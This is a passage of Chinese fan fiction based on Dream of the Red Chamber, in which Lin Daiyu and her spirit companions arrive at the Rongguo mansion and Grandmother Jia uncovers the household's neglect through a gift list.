周瑞家的眯着眼看了看凳子，小厮揪着袖子来回扫了扫，道：“您看，擦过了，不脏。”
周瑞家的弯了弯嘴角，落了坐后道：“你是哪家的小子？人还挺机灵。”
“回嫂子的话，宝二爷房里的李妈妈是我姑母。”
“哦。”
只说姑母却不说父母，想来两个也不是府里有名号的人物。周瑞家的回忆了一下李奶妈的亲眷，愣是没从里面扒拉出来个有印象的人。
李奶妈原也不是府里的人。只因宝二爷生的时候，赶巧府里的下人里头，年轻的媳妇都没个有奶水的，只能从外头找的奶妈。
宝二爷是个有大造化的，阖府都捧着他，偏他又古怪的很，长到丁点儿大就知道挑人，不是平头正脸的奶妈子，他还不乐意吃她的奶。
奶妈换了三四个，又因奶水完了，走了两个，就剩下个李奶妈还留着。
这么想着，周瑞家的心中淡淡，神色上也带出来一些，“你平日里都是在府外走动？”
说走动是好听点的话，实际上不过是干些跑腿拉车，抬轿传信的活计，既辛苦，风里来雨里去，又没什么油水可捞，是实打实的苦差事。
这小子到自己跟前献殷勤，想来是想换个差当。
小厮确实有这样的想法，打眼瞧着周瑞家的脸色，心中不由惴惴，又不好直接开口，拐弯抹角道：“嫂子平日在太太跟前伺候，是一等得意的人，怎么太太让您来干这等船的苦差事？另叫婆子们来就是了。”
周瑞家的扇风的手一顿，立时拉下脸，拿眼睛剐了小厮一眼，“你知道什么？太太的意思也是你能揣测的？！”
“周奶奶，我不是......”
周瑞家的压根不听他的话，“咱们来接是嫡嫡亲的表姑娘，你当是哪个外三八道的亲戚，随意寻个人就打发了！”
货船靠岸，卸货的地方人声鼎沸，各种气味混着风一吹，周瑞家的拿帕子掩住口鼻，闷声道：“行了，你也别在这儿废话了，去码头守着，眼睛利点，看到船了快些来报给我。”
说完，也不搭理小厮，径直甩着手回了轿子。
好端端的这样的大变脸，莫名其妙碰了一鼻子灰又不知道哪里得罪人的小厮只觉四周都是嘲讽的目光，灰头土脸往码头去了。
江上，何嬷嬷也站在船头往码头上看，大老远就看到码头等着的人，两边一看，截然不同的衣着面貌让她一下子就锁定了荣国府的队伍。
数了数轿子和马车的数量，何嬷嬷心下有数，转身进了船舱去找白鹤。
白鹤和林如海派来的一位老管家一道指挥着人搬东西。何嬷嬷进来，白鹤背后长了眼睛一样，头也不回地道：“嬷嬷看到荣国府的人了？”
林管家偏头，朝何嬷嬷略一点头，继续专注眼前的事。
何嬷嬷道：“看见了，应当是他们。”给搬箱子的人让出地，何嬷嬷接着道：“他们带的人不多，只有两辆马车......”
装他们这么多东西，怕是远远不够。
白鹤没明白何嬷嬷的未尽之言，“两辆车够放多少箱子的？其他的我装起来就是了。”
何嬷嬷哑然，刚想解释，一旁默不作声的林管家突然道：“白姑娘现在装好了，到了荣国府再放出来，就太打眼了。进府的时候人家就看到四个箱子，结果刚住下却冒出来二十四五个，岂不叫人嘀咕。”
他说的有理，白鹤道：“那就下了船再让人去雇车好了。”
林管家点头，“是这个理，只是要叫咱们小姐多等一等。”
随即他便叹了一声，道：“也不知道外面冷不冷，咱们小姐身体弱，不知受不受得住江风？”
白鹤这时终于察觉到他话里有话，但她对做人那套弯弯绕绕知道得没有那么透彻，便将目光转向何嬷嬷。
何嬷嬷看向林管家。
老管家头发花白，但背依然直，精神也很好，迎着何嬷嬷的目光微微一笑。
何嬷嬷其实也猜不透林管家具体是什么意思。
不过在宫里大风大浪都见过，琢磨贵人主子的意思是奴婢们吃饭的本事，斟酌了片刻，何嬷嬷试探着道：“是不大好。要不，船靠岸后咱们先下，先搬箱笼物件，紧着姑娘要用的择出来带到荣国府，其余的由林管家你带去老宅，等姑娘安顿下来，再陆续把其余的东西送过来。”
“林管家你看这样如何？”
林管家点了点头，“嬷嬷考虑的再周到不过，就这么安排。”
原先的计划推翻，人手需要重新划分，需要他去安排。林管家说了一声就离开了，走的时候，背影里都带着遮掩不住的满意。
“何嬷嬷？”白鹤疑惑地挑眉。
从林管家的反
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应看，何嬷嬷知道自己猜的八九不离十，她跟白鹤解释：“荣国府派来的人少，说明对姑娘不重视。我重新这么安排，既能给荣国府的下人一个下马威，又不至于直接打了他们的脸，让她们面上过不去。箱笼一摆，往林家老宅一送，还能让他们看着，咱们姑娘是正儿八经上门走亲戚的，是贾家三催四请请来的，在京里也是有住处的，不是来打秋风的。”
这个解释跟林管家刚才的话不能说一模一样，只能说毫不相干，连字都没几个重复的。
“是这样吗？”
何嬷嬷肯定点头：“论神仙法术，眼界见识，我不如两位姑娘。但论见识过的阴谋算计和对人心的了解，我敢说两位姑娘远不如我。”
林管家的想法跟何嬷嬷的猜测几乎一样。
林管家是林家的家生子，林老太爷在的时候，他就是林家的管家，一直服侍老太爷，送走了老太爷，老太太，又继续给林如海当管家。他是看着林如海出生、长大、科举、娶妻，再到下一代的黛玉出生。
算起来，林管家可以说是林家的“三朝元老”。前几年，林如海见他年纪大了，便提了他的大儿子做了管家，放他出府回家，子孙绕膝，颐养天年。
本来一直都无事，哪怕林如海先丧子，又丧妻，都不曾再劳烦林管家回府帮忙打理府中事务。直到黛玉离家前，林如海才连夜请了老管家进府，拜托他跟着女儿上京，一是希望他修葺管理林家在京中的老宅，二是替自己看顾女儿，以免她受欺负。
虽则林如海年逾四十，在林管家眼里，还是他看着长大的主子，如今主子有所求，他自然万死不辞。
况且林家如今就剩下主子和小主子两个，他当然要护着小主子。
主子也没有说清小主子会受谁的欺负，但林管家回家琢磨了一下，觉得也许是贾府的人。毕竟小主子到了贾家，也多半都是呆在后宅中，见外人的时间少，又有荣国府的面子在，被外人欺负的概率不大。
果不其然，一听何嬷嬷说的，他就知道，贾家没把小主子放在心上。
小主子上京，老爷肯定是写了信给荣府交代过。他们带了这么多东西这么多人，声势浩大，其实是有些失礼的，可这也是老爷一片拳拳爱女之心，也可以理解。
但收了信的贾家还是只带了几个人来，摆明了就是不在意。
既不在乎老爷，也不在乎小主子，别管是那府里谁的意思，事到如今，也别怪他们下脸子了。
-*
船靠了岸，那边官船上黛玉和许姨、许家姐姐在一起。因为有女眷在，外面人多手杂，许家这边同样是安排了行李先下船，装好车之后人再下，直接可以走。
黛玉陪许姨等了一炷香的时间，等到许家下人来通传，才由许姨携着她和许家姐姐的手，一起下了船。
黛玉对林管家和外祖家下人之间私下里的交锋完全不知情，只觉得今天林管家好像格外高兴，外祖家来的周妈妈好像很热且不自在。
辞别了许姨，许家姐姐又拉着她说了好些递帖子拜访的话，在许姨无奈地再三催促中，许家姐姐依依不舍地跟她告别，临走时还掀开帘子朝她喊：“妹妹记得来找我啊！”
黛玉连连点头答应，目送着许家的马车走远，何嬷嬷察觉到码头上朝这边看的目光，也轻声催促：“姑娘，咱们也走吧。”
黛玉点头，扶着青雀的手登上马车，一行人朝荣国府而去。
8. 第 8 章
车上略坐了一会儿，何嬷嬷才掀了帘子进来，道：“芙蓉和白鹤在后面车上，不跟咱们一个车。姑娘坐稳些，这便要走了。”
她挨着黛玉左手边坐下，刚一坐定，车子轻轻一震，轱辘辘往前，青雀早已按捺不住，拧着身子趴在纱窗边往外看。
不想车边却有个影子一闪而过。
青雀“呀”了一声，“嬷嬷，有人跑了。”
何嬷嬷挨过来看了一眼，看到一个眼熟的背影钻进人群，泥鳅似的，三两下就拐没了影。
青雀贴着纱，又道：“嬷嬷，我认得他，是在接咱们的人里的。他怎么一个人先走了？不跟我们一起吗？”
恐怕是那位周妈妈叫人回府去通风报信了。
心里虽这么想，何嬷嬷嘴上却道：“应该是周大娘先叫个脚程快的人回去，告诉府里主子们接到人了。听说周大娘说，接到信，估算着姑娘到的日子，他们已经在码头上等了几天了，这会儿先叫人回去，也好叫那边宽宽心，没的以为又要干等一天。”
这时她反而替周瑞家的描补了两句。
不管他们先前怎么私下里打机锋都是他们的事，表面上还是要一团和气，免得叫姑娘刚一下船就知道外祖家的人不重视她，白白生些闲气。
青雀信了何嬷嬷的说法，道：“那他是跑得挺快。不过还是不如我。”
说着还骄傲地挺了挺胸。
黛玉捧场：“可是呢！论脚力，人是两条腿在地上跑，要穿街走巷，你是一对翅膀在天上飞，不需七拐八绕的，他自然是比不过你的。”
青雀喜笑颜开。
不想黛玉却道：“可要是论别的，你就不如他了。”
青雀不解：“还有什么要论的？”
报信不就是看谁快么？
何嬷嬷道：“当然是论谁能把信传到。他能说话，你能吗？一只雀儿开口说人话，不得把人吓死。”
青雀想了想，点头：“也是。”
凡人都怕妖怪么。
黛玉捂着帕子直笑，何嬷嬷叹气摇头，“真是个傻妖精。”都听不出来是在打趣她。
亏得刚成精就跟在姑娘身边了，这要是自己闯到红尘中，过不了多久就叫人连皮带骨生嚼了。
说笑间，码头长长短短的吆喝和喧闹远去。
青雀还贴在窗上往外看。何嬷嬷重重咳了一声，青雀回身，何嬷嬷眼睛撇了撇，青雀定定看了两眼，恍然大悟，手搭在膝上端端正正坐好，“嬷嬷你有话就直说。”
何嬷嬷扶额。
黛玉笑着道：“我们青雀不懂这些。”
青雀：“不是都不懂，也懂一点儿。”
她捏着手比划了一下，面露难色：“但是人太难懂了，林管家说要多听，多看，多观察，再琢磨琢磨，才能明白。”
反正她从早到晚跟着林管家安排的人学了三天，除了记得规矩，其他的都没学清楚。
被何嬷嬷盯着规规矩矩坐了片刻，外头又热闹起来的时候，青雀屁股底下就跟有钉子扎似的不住晃动，眼神也乱飘起来。
何嬷嬷看她抓耳挠腮的，恨不得把两只眼睛安在后脑勺上，心中好笑，“青雀儿，你莫不是孙猴子上身了？”
黛玉忍不住“哧”了一声，又牢牢抿着嘴，将笑意咽回去，只是开口时，语调仍然发颤，“嬷嬷，她老实这么长时间不容易，你就让她看吧，否则怕不是要这样挠一路呢！”
何嬷嬷靠过去，扶着黛玉，“姑娘笑吧，当心憋得肚子疼。”
黛玉这才埋在何嬷嬷怀里，闷闷地笑出声来。
何嬷嬷给她揉着肚子，青雀也一点点蹭过来，学着芙蓉的样子，用一点微末灵气小心给她顺气。
何嬷嬷道：“怎么，不瞧热闹了？”
青雀点头又摇头，“看的，先给姑娘顺顺，免得伤身。”
黛玉从何嬷嬷怀里转过脸来，面红眼热，喘着气挥手道：“这儿不用你，快去瞧！当心错过了好戏！”
青雀转向何嬷嬷，眼巴巴看着她。
何嬷嬷将黛玉半掉的簪子压回去，无奈摆手，“姑娘都发话了，你还不去！看到好看的，也跟我们学学。”
“哎！”
得了两人的话，青雀闪身回到纱窗边，也不别别扭扭拧着身了，一腿支在地下，一腿半跪在凳子上，光明正大往外看。似乎看到精彩的地方嫌隔着纱看不清楚，又偷偷掀起个缝瞧两眼。过了那个地儿再放下，如此反复。
黛玉笑够了，倚在何嬷嬷怀里，由她理钗拢发，整理衣着。见她一刻不得闲，也不由好奇，“什么这么有趣？”
青雀掰着指头给她数多久之前有吵架的，有抓狗的，还有谁笼子里的鸡跑了，到处乱飞，一群人抓鸡的......
她绘声绘色描述鸡怎么飞到人头上，抓鸡的人怎么撞在一起，谁被挠了脸，谁又把谁的担子绊倒了，被揪着让赔钱。
不仅会说，她还会拟声，惹得黛玉好奇更甚，忍不住也坐过来，跟着她一起看。
可惜抓鸡的热闹已经过去了，也不知道丢鸡的人抓到没有。但黛玉跟着看了耍蛇的，卖艺的，简直大开眼界，尤其有个顶碗的，既惊险又精彩，黛玉险些没惊叫出来。
直到马车转过街北，人烟渐稀，两人才心满意足转过身。
何嬷嬷似笑非笑睨了青雀一眼，把她看得提起心，才问黛玉：“姑娘累不累？”
黛玉矜持，没有半跪着，一直都是侧身坐，被何嬷嬷一问，才惊觉腰身和脖子有些酸疼。
“我给姑娘揉！”
不用何嬷嬷再打眼色，青雀都知道这会儿是她该卖乖的时候。
可惜才按没两下，马车便停了下来。
稍顷，有人打起帘子，周瑞家的端着笑脸探身道：“姑娘，咱们到了，请您下车。”
-*
荣国府正房大院，早已接到报信的贾母坐卧不安，下首陪坐的邢氏和王氏凝神屏气，安静吃茶。
“鸳鸯，怎么还不来？你去问问。”
唤作鸳鸯的婢女上下一色水绿的褙子长裙，捧着一盏茶碗刚放下，听贾母叫她，应了一声，脚下不停转到外边，打发人去门上。
人还没跑远，就听外边游廊上匆匆过来一个小丫头，道：“来了来了，林姑娘来了！”
她一边喊，廊下挂着的鸟雀也跟着叽叽喳喳叫唤起来。
“鸳鸯！”
“哎！”鸳鸯应声进屋。
“外面在喊什么？哪个丫头这样聒噪！该罚！”
鸳鸯知她心里又急又烦，扶着她道，“老太太，您怎么不听听她说的。我都要为她叫屈了。您不仅不该罚她，还该赏她才是呢！”
“哦？”贾母意识到什么，激动道：“可是......？”
“是！您听，外头雀儿都在报喜，您说该不该赏她？”
贾母听了，高兴不已：“好，好，是该赏！”
见贾母终于高兴了，邢夫人舒了一口气，凑趣道：“还是鸳鸯姑娘嘴巧，不像我们心笨嘴拙，怨不得老太太疼她。”
贾母脸上笑意微淡，没搭她的话，扶着鸳鸯的手坐下。
邢夫人脸上讪讪，不知又哪里惹了贾母不快。
王夫人斜了眼邢夫人，拈了枚果子。
刚忙活一通紧赶慢赶过来就听到邢夫人这句话的王熙凤暗暗撇嘴。她这个婆婆是既没眼力劲又不会说话，这个时候不说话比什么都强。说嘴巧岂不是说鸳鸯没句实话，就是哄着老太太？
想罢，她扬声道：“哎呦，老太太，我来了！快，让我看看！”
不等屋里众人反应，王熙凤来来回回，左瞧右瞧，又拉着贾母的袖子
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翻看。
贾母：“凤丫头，你丢东西了？这是在找什么？”
王熙凤放下袖子，唉声道：“老祖宗，我打老远就听到人喊‘林姑娘来了’。怎么一进来，却没见着人？我就想着，是不是老祖宗听到我来了，就把她藏起来了？”
“老祖宗，你快叫她出来罢，我吓不着她！”
贾母撑不住，笑了起来，屋里的丫鬟婆子也跟着笑了。
“你们瞧瞧，这凤丫头猢狲似的。我要是有收人的本事，第一个就把你收在袖子里，这样你才老老实实，吓不着你妹妹！”
王熙凤不依：“老祖宗~，新人还没来，你就要把旧人丢过桥了！”
话音刚落，贾母又是一阵笑。
这时，丫头进来通报，“林姑娘到了。”
屋内笑声顿歇。
前面的人引着黛玉一行进屋。
刚转过插屏，黛玉就见上首头发花白的老人，还未拜下，老人就将她搂在怀里，心肝肉地叫着哭了起来。*
一边哭，一边又不免念起了贾敏，更是伤心不已，眼泪止不住。
虽则师父已替母亲做好了安排，或许也早已转世投胎，来世必定顺遂，但贾母真心实意的悲伤仍然勾起了黛玉心中的伤痛，禁不住也跟着红了眼。
一老一小抱头痛哭。
众人也无不拭泪，又怕老的老，小的小，伤心太过反而不好，又忙上前劝慰。
好一会儿，贾母缓过来，摩挲着黛玉的脸，携着她的手坐下，一一让她认人，黛玉也一一拜见。
待指到王熙凤时，贾母尚未开口，她便自己道：“好妹妹，怪道老太太要施了神通收了我，不叫我吓人。再没想到天下竟有这样标致的人，连身边的人都跟神仙似的，都叫我无颜面对了。”*
说着，她拿帕子一捂脸，扭身背对着贾母和黛玉。
众人皆笑。
白鹤芙蓉四个都暗暗看了王熙凤一眼。还未进屋时，他们都听到了里面的笑语。屋里人说了什么，以她们的耳力都听得清清楚楚，如今听她开口，立时将人对上了。
何嬷嬷不禁暗暗赞叹，好会卖弄的人！好巧的舌头！
青雀卷了卷自己的舌头，随后放弃。没关系，她会啾啾叫，比外面那些叫得都好听。
满屋子人中，唯有黛玉不懂。
见她不明所以，贾母便说了先前那番话，又道：“鸳鸯，把你奶奶的帕子扯了，让我看看她的脸皮还在不在？”
鸳鸯一听，作势便要去拉她。
王熙凤忙撤了手，嚷道：“在呢，在呢！”
一边说一边凑到贾母跟前，“您瞧，是不是好着？”
贾母眯着眼睛端详了两眼，故作不解道：“我看你倒是没皮没脸的紧。”
黛玉侧过身闷闷笑了起来。
说完笑完，贾母才看向芙蓉几个。挨个看过去，略过老嬷嬷不提，其他三个果然都是好相貌。
“凤丫头满口里竟有一句实话，果然个个都好，比咱们府里的还齐整些。”
王夫人先前就注意到黛玉带来的几个人，此时扫了一眼，皱起眉头，随后又低下头，拨弄着手里的珠串。
问过几人都叫什么，听到青雀的回话，贾母连连点头，“这名字极衬。”
复又问王熙凤，“你三个妹妹怎么还不来？快叫她们来认一认人，姐妹见见才是。”
王熙凤挥退了下人，道：“已叫人去请了，应当差不多就到了。”
说曹操，曹操到。
几个丫鬟婆子簇拥着三个人进来，黛玉又是一番见礼。舟车劳顿，马车上又没歇一歇，此时黛玉已经有些撑不住了。
王熙凤时刻留了两分心在她身上，见状眼睛一转，问贾母如何安置黛玉。
贾母笑骂：“你没给你妹妹收拾屋子吗？”
9. 第 9 章
“老太太可冤枉我！”王熙凤叫屈，“我都准备好了，就在听松园，叫人仔仔细细打扫了，预备着妹妹来呢！”
“只是今天一见到妹妹，见她这样聪明灵秀，心里恨不得叫她随我一道家里去。我想着，我都如此，更何况老太太，怕是老太太更舍不得妹妹离远了，因而才想问问老太太，看您老人家怎么安排。”
黛玉已经知道王熙凤是她大舅舅的儿媳妇，是成了亲的。就算再喜欢她，中间隔着大舅舅家的表哥，她必定是不能跟着他们一起住的。
既不合规矩，也是男女有别。
不过她只以为是二嫂子在外祖母跟前讨巧，并没有往别处想。
何嬷嬷想的就多了许多。她一听，大概猜出来听松园是临时找出来的住处，说不定是今天得了信才匆忙收拾出来的。
不着痕迹扫了一眼屋里神色各异的几个主子，何嬷嬷心下奇怪。听王熙凤的话，好像她不止是卖个嘴乖，在贾母面前奉承，实际上是掌着贾家内宅事务的。
可看邢夫人的年纪，也还没到精力不济，管不了事的时候。按正常情况，怎么也没有放着儿媳妇在一边不用，让孙媳妇越过婆婆当家的道理。
虽说这也不是不可以，但小辈当家，女眷在外交际方面肯定会出一些问题。毕竟官宦人家女眷来往，大家都是长辈带着小辈走动。王熙凤是个年轻媳妇，天然矮别人一辈，到交际场合，她到长辈中间没话聊，挤在小辈中间也不合适，久而久之恐怕就没人愿意邀请她了。
再一个，来码头等人的周大娘分明是二房夫人的陪房。既是大房的人掌家，为何在外走动的是二房的人？
贾府这长不长，次不次，幼不幼的情形实在让人糊涂。
不知道林管家见完贾家两位老爷没有。他们得找时间碰个头，里外对一对信息，弄清楚贾家的情况才是。
正想着，忽有丫头掀了帘子进来请示贾母，道是跟林姑娘一起来的老管家已见完两位老爷，来拜见贾母。
贾母：“快请进来！”
邢夫人和王夫人忙站起来带着迎春几人要往屏风后面避让。贾母抬手压了压，道：“都坐着，既是老人，就不用避了。”
众人这才又坐下。
“请老夫人安。”稍顷，林管家进来，先给贾母见礼。
贾母忙让人扶起，又让人搬了凳子让他坐，端了茶。
林管家推辞一番，方才落座，只不受茶。
贾母眯着眼睛端详了林管家两眼，忽然恍然道：“你是亲家公身边的福松？”
亲家公是称的林老太爷，也就是黛玉的祖父。
林如海和贾敏成亲最开始的那两年是两府往来最频繁的时候，林管家常登门替林家送东西，因而贾母还认得林府的大管家。
林管家闻言起身回话：“老夫人好记性，竟还记得小人。”
贾母又叫他坐，感慨道：“老了、老了......，一晃有二十多年了吧，如今是头也白了，眼也花了。你老人家身体还好？”
林管家：“正是，到如今整二十年了。劳老太太惦记，还算硬朗。”
贾母慢慢点头，又问林如海如何，家里怎么样，怎么老管家这么大年纪还让他来回奔波？又问林管家几时回，让王熙凤给他也安排屋子，先在贾府住下。
林管家道：“不麻烦老太太，我已经打发人回去，今天来见了老太太后，就回老宅去了。”
“这次上京，也是得了老爷的吩咐，一则是陪着姑娘一起，二则是老爷一直在外做官，京中老宅也空了十多年了，平日里只有几个下人守着，趁此机会正好修缮修缮，以后就在京城看着宅子，暂时不回扬州了。”
平白无故要修宅子，莫不是女婿要回京谋职？
贾母心中有些猜测，不过也没有当这众人的面问。
林如海官职不低，要运作回京，最好是升回来，纵然不行，也应该是平调。可数得上号的京官都是有定数的，一时半会儿应该没有合适的位置，另外也要看当今的意思，这些都需要细细安排。
贾母自家人知道自家事，他们家虽然对外还说是国公的门第，但其实也只有大门外那块牌子了，也就哄哄不知道的人，在朝中，贾家是不大说得上话了，帮忙谋个小官倒还行，其他的，还没有林如海自己使得上力。
贾母心中思虑，面上不显，赞同道：“也是该整一整宅子，房子常年不住，没了人气，破败得快。既如此，我就不留你了，如果有什么需要的，你也只管来这边找琏儿，他是常在外面走动的，别的不说能帮上忙，起码这片地界，带你们认认路，找找铺子，还是能办的。”
林管家见过贾赦和贾政后，心中对贾府乱象有了几分了解，并不打算让贾家的人搅和进林家的事里，表面上客气地道了谢，说了两句奉承贾琏的话，并没有接贾母的茬，又继续说起林如海吩咐的第三件事。
他从袖子里抽出一份单子，双手递上，道：“来京之前，老爷还备了给老太太和府中的中秋节礼，单送给老爷们的东西先前见两位老爷时已经给了，这是其他的礼单，还请老太太过目。”
贾母奇怪道：“现在离中秋还有小半年？怎么这个时候送？”
邢夫人看着林管家手上红色封皮的礼单，恨不得替贾母收下。
管林家为什么不按时送礼，谁还嫌礼多了不成。
有给单人的礼，不就是说这里面可能还有她的一份？
一想到自己的小金库又可以添财，邢夫人也顾不上尴尬，眼睛都清亮了几分。王熙凤很看不上她这副财迷样，当着许多人的面，眼皮子这么浅，也不够丢人的。但人多，她也不好提醒邢夫人，只能眼不见为净。
林管家道：“老爷说了，内宅的事无人操持，老爷对这些也不大通，再有外面的往来应酬也多，怕到时候因别的事忙起来，就把节礼的事忘了，所以干脆趁着上京，一起送了来。还请老太太不要怪罪他失礼。”
往年林家操持内务，年节土仪按时样样不落派人送到京中的是谁？当然是贾敏。
林管家这番话叫贾母又想起了女儿，心中一痛。
黛玉想到父亲孤伶伶一个人在扬州，与她相隔千里，家中只有他一人，过年过节肯定也是冷冷清清的，忍不住也红了眼眶。
青雀见黛玉
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又哭了，偷偷拉了拉她的手，给她渡灵力。
知道黛玉身体不好，又奔波疲惫，先前还哭过，是再禁不住伤心的，贾母强忍着悲伤，擦了擦眼泪，道：“女婿孝顺又有心，还惦记着老婆子，我哪里会怪罪他。”
说罢，命鸳鸯收了礼单放在一边，道：“玉儿在我这里，也叫女婿放心，定然安排得妥妥帖帖的，不叫她受半点委屈。”
林管家：“有老太太在，老爷自然是放心的。”
又寒暄几句，林管家便提出告辞，贾母要留他用饭再走，林管家只道他刚来京城，老宅事务千头万绪，早些过去也好早些着手整顿，又说林宅的事务以后也需要黛玉过目，帮忙拿些主意，少不得要频繁登门，到时再跟贾母多讨几杯酒喝，请她不要嫌弃才是。
贾母听了十分高兴，道：“这有什么，你只管来就是！”
让人送走了林管家，贾母惦念着黛玉的身体，便说有些乏了，让其他人先散了，只留下黛玉和王熙凤在跟前。
贾母喊来一个丫鬟，对黛玉道：“你今儿第一天来，晚上就在我这里吃饭，也不必来回折腾，留你的一个丫头陪着你，让鹦哥带你去暖阁先歇着，等吃了饭后再回去。”
“其余的人......，凤丫头，你叫些人，让他们把林丫头的东西送到听松园去。你们是常跟着你们姑娘的，最知道她的喜好习惯，先替她安置好了屋子，这样晚上也睡得香些。要是有什么没有的，只管跟凤丫头说，叫她找了来。”
何嬷嬷正想着怎么跟贾母开口，闻言忙应了一声，道：“还是老太太想得周到。”
黛玉也起身谢过贾母。
贾母嗔怪她多礼，“在外祖母这儿，你只当时自己家，不必见外。”
鹦哥笑吟吟上前，“林姑娘随我来。”
青雀立刻贴着黛玉站好：“我跟着姑娘一起。”
鹦哥见何嬷嬷三人都没有反对，等黛玉又辞过贾母，便带着两人去了暖阁。
才进了暖阁，早已有丫头得了吩咐铺好床，挂好帐子预备着。
黛玉细细看了一圈，目光落在榻下一双厚底靴子上，又见里面遮着厚厚的撒花帘子，似是还有个里间，心头疑惑。
鹦哥心细，看她表情，便解释道：“里头原是宝二爷住的，去年夏天宝二爷到了上学的年纪，便挪出去了，有时二爷来给老太太请安，偶尔在里面歇一歇，有些东西就落下没来得及收拾。”
宝二爷？想来是那位衔玉而生的表哥，黛玉曾听母亲说过。
弄明白了情况，黛玉点了点头，不再多言，在鹦哥等人的服侍下歇下。青雀趴在床头，搭着黛玉的手陪着她。
帐子放下，众丫鬟轻手轻脚退出暖阁，鹦哥不放心，便在外面榻上守着。
这厢黛玉小睡，那边贾母让鸳鸯取了眼镜，翻开礼单。
林管家的说辞乍一听没什么问题，但贾母回头一想，心中就起了疑惑。
林如海不通内宅的事，但林家下人是年年都来送礼的，林管家不可能不知道她这几年已经不大管事，都是王夫人办的，怎么还偏把单子当众往她这里递，里头肯定有古怪。
10. 第 10 章
“鸳鸯。”
鸳鸯坐在脚踏上拿着美人锤轻轻给贾母捶腿，忽听贾母叫她，抬头一看，心中登时咯噔一下。
贾母的表情算不上好看，困惑中夹杂着一丝怒气，“你去把往年林家送来的礼单找出来给我。”
鸳鸯快速在心中过了一遍贾母说的单子，轻声道：“近五年的礼单都没有，各府往来节礼惯例都是二太太收着，单子在二太太那儿。再往前，八九年前的，咱们这儿也没有，时间太久了，要往库房上去问问才行。”
贾母摘了眼镜，道：“无妨，能找到的只管找出来，也不拘是不是中秋的礼单。先不必惊动库房的人。”
鸳鸯领命。
贾母房中大小事务没有鸳鸯不知道的，片刻后，她捧着厚厚的礼单送到贾母面前，还特意将往年中秋的礼单放在最上面，方便贾母查看。
贾母一言不发抽出单子。
下面的丫鬟轻手轻脚来送茶，鸳鸯将人拦住，小声吩咐几句，丫鬟退出去，不一会儿换了败火的菊花茶来。
贾母看单子的速度十分快，鸳鸯见贾母越看脸色越沉，也不知道礼单是有什么问题，惹得她如此生气。
唯恐她气坏了身子，鸳鸯瞅准时机，捧着茶道：“老太太先喝口茶，歇歇眼睛再看不迟。”
贾母扔下最后一本礼单，茶也不喝，沉声道：“你去听松园，看看你琏二奶奶完事了没？那边收拾好了，让她来回我，我有话问她。这次的节礼也不必回太太，你按着单子收到我的私库里，我自会处理。”
鸳鸯微微抬了下眼，又迅速垂下，听着贾母给她指了礼单上的几样东西，有金嵌宝石头面，宝钿花鸾头冠等和两套四书五经，两份笔墨纸砚。
贾母：“这些是单独送给太太、姑娘和哥儿们的东西，你去拿出来，稍后亲自给各处送去，再有一个紫檀木的匣子，你也替我取了来。”
鸳鸯在心里默默重复了一遍贾母的话，福了一礼，退了出去，将贾母说的几样东西都找出来放好，然后拿了紫檀木匣子来回贾母。
贾母接过匣子，打开一看，胸口起伏。
鸳鸯扫了一眼，见里头卷着一些纸张，细看一眼，是银票，两只粗的一卷子，看不出面额大小。
“啪！”
鸳鸯惊了一惊，别开眼睛。
贾母扣上匣子，半闭着眼睛，倚在靠枕上。半晌，她睁开眼睛，一向慈和的眼神竟然带着几分厉色。
“鸳鸯，我问你，凤丫头是什么时候收拾的听松园？是今天吗？”
鸳鸯答不出来，她之前压根就没听到一点动静。
贾母冷笑一声，“凤丫头是个乖觉的，使了七分的力，她嘴里说出来就有十分。要是一早有准备，肯定不会瞒着不说。”
今天才说，肯定是今天才准备。
贾母恨恨地拍了一下桌子，“他们是都没上心呐！”
分明都是早就收到了信，却一个都没想着要给黛玉收拾住处。
她才信誓旦旦保证不会让外孙女受委屈，转头就被打了脸。
她就说怎么礼单上的东西比往年厚了三成不止，还多是金银物件。
现在才知道，这分明是林如海送给府里的人看的。是在暗示府里，他林家有钱，多出来的东西就当是抵自家姑娘在府里的花用，不需要贾家出一分一毫。他的女儿是正经金尊玉贵的客人，不是破落亲戚上门。
难怪要送到她这里！
亏得林管家没有当面把银票拿出来，保全了体面。
鸳鸯替贾母揉着胸口，口中劝解道：“二奶奶刚管家，许多事还不知道，兴许是一时没想到，疏忽了。老太太也别气，当心气坏了身子。您以后多教教二奶奶，她就知道了。”
“你不知道。”贾母神情暗了暗，“这里头和凤丫头干系不大。”
鸳鸯提醒了贾母，王熙凤疏忽是一回事，但她是新媳妇，年纪也小，出生的时候敏儿都已经出嫁几年了，对林家这门亲不了解也情有可原。
怪只怪有人分明知道，却不提醒她。
王氏......
贾母心中陡然对王夫人生出几分不满。
但说到底，这也不是大事，她也不好为这事发作她，她大可推到凤丫头身上。
闭了闭眼，片刻后，贾母按住鸳鸯的手，道：“你去，现在就把各处的礼送去，记得先给大太太送。”
鸳鸯忖度，论远近，应该是先给二奶奶送，但二奶奶此时还在听松园，绕过她最后送也可以。论方便，则应该是先往二太太房中，到那里一气连着三位姑娘并珠大奶奶和兰哥儿的礼都能送到。
偏偏老太太让先去大太太处。这一绕，几乎整个府里都能看到，不出一日，府里上上下下都能知道林姑娘家中给主子们备了厚礼的事。
这还只是其一，另则老太太此举也是抬举大太太，无形中扫了二太太的脸面。
念头转过，将各种想法烂在肚子里，鸳鸯问：“可还要叫二奶奶来回话？”
贾母手按在紫檀木匣上，道：“自然是要的。”
得了贾母的命令，鸳鸯命人捧着东西一径往东边邢夫人的住处去了。
因着礼多，鸳鸯带的人也多，路上各处往来的丫鬟小厮都看见了。邢夫人院中，早早有人来通报。
邢夫人迎了鸳鸯进来，笑容满面让人给她看坐。
鸳鸯婉拒，吩咐人将东西给邢夫人，“这是林姑爷给太太的礼，请太太收下。”
邢夫人得的正是那套金嵌宝石头面。
整套头面并没有十分复杂的工艺，样式也不是时下流行的，但胜在用料扎实，大大小小的钗簪有近二十件。黄金鲜艳，宝石剔透。
邢夫人不是没见过好东西，可那些她看得见摸不着。她何曾拥有过这么一整套鲜亮值钱的首饰，眼睛都有些直了。
一时她脸上笑容更甚，连说林姑爷太客气了。见鸳鸯放了东西就要走，再三要留她喝茶。
鸳鸯推辞道：“一会儿还要往二太太房里去，立时就要走，多谢太太好意。”
邢夫人便亲自将她送到门口，见人没了影，扭身拿起首饰一样样看，脸上笑容止都止不住。
王善保家的凑趣道：“没想到林姑爷这么大方，这些首饰很配太太。”
“可不是！”邢夫人看够了，亲自将头面收起来，暗自决定就算看在金子的份上，也要多多跟黛玉亲近亲近，
不过东院离的远，她又隔了辈，倒是不怎么方便，还是得抽空跟迎春说道说道。
邢夫人打着鼓动迎春去捧黛玉的主意，王善保家的寻了个由头，出门去跟婆子们闲聊。说着说着，免不了就要提一提林家大方。
